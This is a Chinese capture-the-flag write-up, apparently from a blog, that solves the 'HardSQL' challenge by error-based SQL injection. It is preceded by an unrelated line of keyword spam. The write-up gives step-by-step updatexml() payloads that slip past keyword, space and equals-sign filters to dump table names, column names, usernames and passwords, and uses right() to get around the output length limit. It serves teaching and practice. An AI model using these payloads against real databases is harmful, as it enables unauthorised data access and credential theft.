网站建站 优化,中国科技成就的例子,网站建设流程效果,做logo找灵感的网站看了大佬的wp#xff0c;没用字典爆破#xff0c;手动试出来的#xff0c;屏蔽了常用的关键字#xff0c;例如#xff1a;order select union and 最搞的是#xff0c;空格也有#xff0c;这个空格后面让我看了好久#xff0c;该在哪里加括号。
先传入1’ 1试试#…看了大佬的wp没用字典爆破手动试出来的屏蔽了常用的关键字例如order select union and 最搞的是空格也有这个空格后面让我看了好久该在哪里加括号。
先传入1’ 1试试发现提示报错 其实这里提示了报错信息就可以试一试报错注入了当然这是事后诸葛亮还是常规的注入试试发现行不通。 这里就已经给屏蔽词才的差不多了该进行报错注入了使用1or(updatexml(1,concat(0x7e,database(),0x7e),1))#
报出数据库名geek 然后这里是没用空格的但是爆表的时候发现不对劲要加上空格但是空格被屏蔽了于是就更换()来进行1or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))# 拿到表名H4rDsq1
接着就是拿到列名
1or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(H4rDsq1)),0x7e),1))#
注意这里等号也被屏蔽了使用like进行替换。 拿到列名信息接下来就是输出相关信息
1or(updatexml(1,concat(0x7e,(select(group_concat(username,~,password))from(H4rDsq1)),0x7e),1))#
这里使用~来做一个填充区别user列和pass列然后得到信息 拿到信息了但是没拿完拿了一半的flag这是为什么因为报错注入最多显示32个字符所以还要对后面的字符进行输出但是这里又碰到substr关键字被屏蔽也是。。。没办法又看看大佬的wp原来是用的right()突破字符限制就是从字符串的最右边起开始选字符。
例如SELECT RIGHT(Hello, World, 5);
这将返回World。
所以接着的语句就是 这里还有最后一点需要注意就是在拼接的时候不能想当然的把两个字符串拼接。要除去相同的部分
~flag~flag{93c21fdf-7e2b-4d48-ae
~b-4d48-ae6c-8abab092b920}~
拼接后就是flag{93c21fdf-7e2b-4d48-ae6c-8abab092b920}
这里的flag是动态的别尝试用这个。
还可以用^来更换or,然后不用updatexml()而是使用extractvalue()原理都是一样的。
大佬的wp非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1两种解法-CSDN博客